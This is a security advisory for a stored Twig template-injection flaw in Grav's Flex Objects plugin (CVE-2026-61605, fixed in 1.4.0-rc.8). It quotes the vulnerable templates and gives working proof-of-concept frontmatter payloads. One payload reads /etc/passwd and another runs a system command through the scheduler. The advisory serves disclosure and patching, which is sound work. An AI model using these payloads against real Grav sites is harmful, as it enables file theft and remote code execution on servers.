# GHSA-623V-M3C4-3PW8: Flex Objects stored Twig SSTI in dynamic titles can lead to remote code execution

- Database: GitHub
- Severity: CVSS 8.8 (High)
- Published: 2026-06-22
- Modified: 2026-07-10

## Tracked as

- [CVE-2026-61605](https://cve.now/CVE-2026-61605.md): CVE-2026-61605

## Affected versions

- getgrav/grav-plugin-flex-objects (Packagist): fixed in 1.4.0-rc.8

## Description

### Summary

The bundled Flex Objects plugin executes user-controlled Twig code when rendering dynamic collection or object titles with `template_from_string()`. If an attacker can control `page.header.flex.collection.title` or `page.header.flex.object.title` for a publicly reachable Flex Objects page, the value is evaluated as Twig instead of being treated as text.


I remotely verified both:


1. Server-side template injection (for example, `{{7*7}}` evaluates to `49`), and
2. Escalation from Twig execution to command execution on the server in the tested environment.


This issue affects the official Composer package `getgrav/grav-plugin-flex-objects`, which is bundled in the Grav + Admin package.


### Details
The vulnerable behavior is in the Flex Objects frontend templates:


- `user/plugins/flex-objects/templates/flex-objects/views/directory.html.twig:14`
- `user/plugins/flex-objects/templates/flex-objects/views/object.html.twig:10`


The relevant code paths are:


```twig
{%- set title = options.title -%}
{%- if title matches '/\{/' -%}
    {%- set title = include(template_from_string(title, 'collection title template'))|trim -%}
{%- endif -%}
```


and:


```twig
{%- set title = options.title -%}
{%- if title matches '/\{/' -%}
    {%- set title = include(template_from_string(title, 'object title template'))|trim -%}
{%- endif -%}
```


The title value originates from page frontmatter:


- `user/plugins/flex-objects/templates/flex-objects.html.twig:9` reads `page.header.flex`
- `user/plugins/flex-objects/templates/flex-objects/page.html.twig:28` selects `options.collection`
- `user/plugins/flex-objects/templates/flex-objects/views/directory.html.twig:12` uses `options.title`


This path does **not** pass through Grav's `Security::cleanDangerousTwig()` helper used by `Twig::processString()`:


- `system/src/Grav/Common/Twig/Twig.php:397`
- `system/src/Grav/Common/Security.php:267`


Once Twig execution is obtained, the attacker can access the global `grav` object:


- `system/src/Grav/Common/Twig/Extension/GravExtension.php:100`


From there, server-side command execution is reachable in the tested build through the scheduler callable path:


- `system/src/Grav/Common/Scheduler/Scheduler.php:233`
- `system/src/Grav/Common/Scheduler/Job.php:505`


In other words, the issue is:


`attacker-controlled frontmatter` -> `template_from_string()` -> `arbitrary Twig execution` -> `access to internal services` -> `command execution`
### PoC
I verified the vulnerability remotely against a test deployment.


Safe SSTI proof:


1. Create or modify a page that uses the `flex-objects` template.
2. Set a dynamic title value such as:


```yaml
flex:
    directory: user-accounts
    collection:
        title: "{{ 7 * 7 }}|{{ read_file('/etc/passwd')|split('\n')|first }}"
```


3. Request the page from the frontend.
4. The page renders `49|root:x:0:0:root:/root:/bin/bash`


I also verified escalation to remote command execution from the same sink in the test environment.

```yaml
flex:
    directory: user-accounts
    collection:
        title: '{% set job = grav[''scheduler''].addFunction(''system'', [''id''], ''twig-rce'').inForeground() %}{% do job.run() %}{{ job.getOutput() }}'
```
Just like in the previous "SSTI" vulnerability proof, the front end obtains the result of the system command `id`

### Impact


This is a stored server-side template injection in an official bundled Grav plugin. In affected deployments, an attacker who can control the relevant Flex Objects page frontmatter can:


- execute arbitrary Twig expressions,
- read local files exposed to Twig or internal services,
- access internal Grav objects and services exposed to Twig,
- and escalate to remote code execution on the server.


This is especially serious because the vulnerable plugin is bundled in the Grav + Admin package, so some operators may not realize they are exposing a separate plugin attack surface.

## References

- https://github.com/getgrav/grav/security/advisories/GHSA-623v-m3c4-3pw8

Page: https://cve.now/GHSA-623V-M3C4-3PW8

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
